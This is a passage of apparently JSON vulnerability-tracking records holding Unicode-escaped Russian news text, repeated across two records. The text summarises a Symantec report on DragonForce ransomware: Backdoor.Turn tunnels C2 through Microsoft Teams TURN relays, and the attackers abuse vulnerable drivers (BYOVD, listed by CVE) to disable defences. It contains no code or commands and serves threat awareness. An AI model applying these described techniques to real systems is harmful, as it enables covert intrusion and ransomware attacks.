\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 TURN \u0434\u043b\u044f Teams \u0438 Zoom \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446-\u0441\u0432\u044f\u0437\u0438.\n\nGhost Calls \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 2025 \u0433\u043e\u0434\u0443, \u0430 Backdoor.Turn \u0441\u0442\u0430\u043b\u043e \u043f\u0435\u0440\u0432\u044b\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0442\u043e\u0440\u044b TURN Microsoft Teams \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 HWAuidoOs2Ec.sys \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Huawei, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0442\u0430\u043a\u0442\u0438\u043a\u0438 BYOVD.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Symantec, \u0430\u0442\u0430\u043a\u0430, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 SQL \u0438\u043b\u0438 MSSQL.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043b ZIP, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b VirtualBox/DbgView \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 DLL-\u0444\u0430\u0439\u043b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u0437 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n\u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0438\u043b\u0438\u043b \u0441\u0432\u043e\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0441\u043e\u0437\u0434\u0430\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u043b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 LimitBlankPassword \u0432 Windows \u0434\u043b\u044f \u043e\u0431\u043b\u0435\u0433\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430.\n\n\u0414\u0430\u043b\u0435\u0435 \u043e\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b BYOVD \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f HWAuidoOs2Ec.sys \u043e\u0442 Huawei, Topaz Antifraud wsftprm.sys (CVE-2023-52271), Tower of Fantasy GameDriverx64.sys (CVE-2025-61155) \u0438 K7 Security K7RKScan.sys (CVE-2025-1055), \u0434\u0430\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 \u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u0425\u0430\u043a\u0435\u0440 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b ABYSSWORKER, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440, \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 Palo Alto.\n\nBackdoor.Turn \u0431\u044b\u043b\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0430 \u0432 \u0444\u0430\u0439\u043b DbgView64.exe \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f ransomware, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u043d\u0430, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f Teams, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 Microsoft TURN \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u044c \u0441 C2.\n\n\u0415\u0433\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438, \u0437\u0430\u0445\u0432\u0430\u0442 TLS-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432, \u043f\u043e\u0438\u0441\u043a \u0432 LDAP/Active Directory, \u0441\u0431\u043e\u0440 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432 \u0438 \u043a\u0440\u0430\u0436\u0443 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\n\u0417\u0430\u0432\u0435\u0440\u0448\u0438\u0432 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0438 \u043e\u0431\u043e\u0439\u0434\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0437\u0430\u0449\u0438\u0442\u044b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0445\u0438\u0449\u0430\u0435\u0442 \u0432\u0441\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c DragonForce \u0438 \u0448\u0438\u0444\u0440\u0443\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0445\u0430\u043a\u0435\u0440\u044b, \u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u0437\u0430 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u043e\u0449\u0440\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0439, \u0430 IOCs \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-07-13T13:00:07.851656Z"}, {"uuid": "5a501040-859a-4cd8-b593-d9647f75b9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "exploited", "source": "https://t.me/true_secator/8319", "content": "DragonForce \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Backdoor.Turn \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u0438 Microsoft Teams.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b TURN (Traversal Using Relays around NAT), \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0439 Microsoft Teams \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0438).\n\nDragonForce - \u044d\u0442\u043e\u00a0\u0431\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439,\u00a0\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2023 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043f\u043e\u0434\u043e\u0431\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0435\u043b\u044e, \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 Scattered Spider.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Symantec, \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Go \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043a\u0440\u0443\u043f\u043d\u0443\u044e \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0443\u044e \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e.\n\nBackdoor.Turn \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 TURN Teams, \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f Teams, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0442\u043e\u0440 Microsoft TURN \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044f\u0441\u044c \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 C2 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0418\u0411-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0432\u0438\u0434\u044f\u0442 \u0442\u0440\u0430\u0444\u0438\u043a, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 Microsoft Teams, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u041f\u041e \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 Praetorian \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Ghost Calls, \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0432, \u043a\u0430\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 TURN \u0434\u043b\u044f Teams \u0438 Zoom \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446-\u0441\u0432\u044f\u0437\u0438.\n\nGhost Calls \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 2025 \u0433\u043e\u0434\u0443, \u0430 Backdoor.Turn \u0441\u0442\u0430\u043b\u043e \u043f\u0435\u0440\u0432\u044b\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0442\u043e\u0440\u044b TURN Microsoft Teams \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 HWAuidoOs2Ec.sys \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Huawei, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0442\u0430\u043a\u0442\u0438\u043a\u0438 BYOVD.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Symantec, \u0430\u0442\u0430\u043a\u0430, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 SQL \u0438\u043b\u0438 MSSQL.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043b ZIP, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b VirtualBox/DbgView \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 DLL-\u0444\u0430\u0439\u043b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u0437 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n\u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0438\u043b\u0438\u043b \u0441\u0432\u043e\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0441\u043e\u0437\u0434\u0430\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u043b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 LimitBlankPassword \u0432 Windows \u0434\u043b\u044f \u043e\u0431\u043b\u0435\u0433\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430.\n\n\u0414\u0430\u043b\u0435\u0435 \u043e\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b BYOVD \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f HWAuidoOs2Ec.sys \u043e\u0442 Huawei, Topaz Antifraud wsftprm.sys (CVE-2023-52271), Tower of Fantasy GameDriverx64.sys (CVE-2025-61155) \u0438 K7 Security K7RKScan.sys (CVE-2025-1055), \u0434\u0430\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 \u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 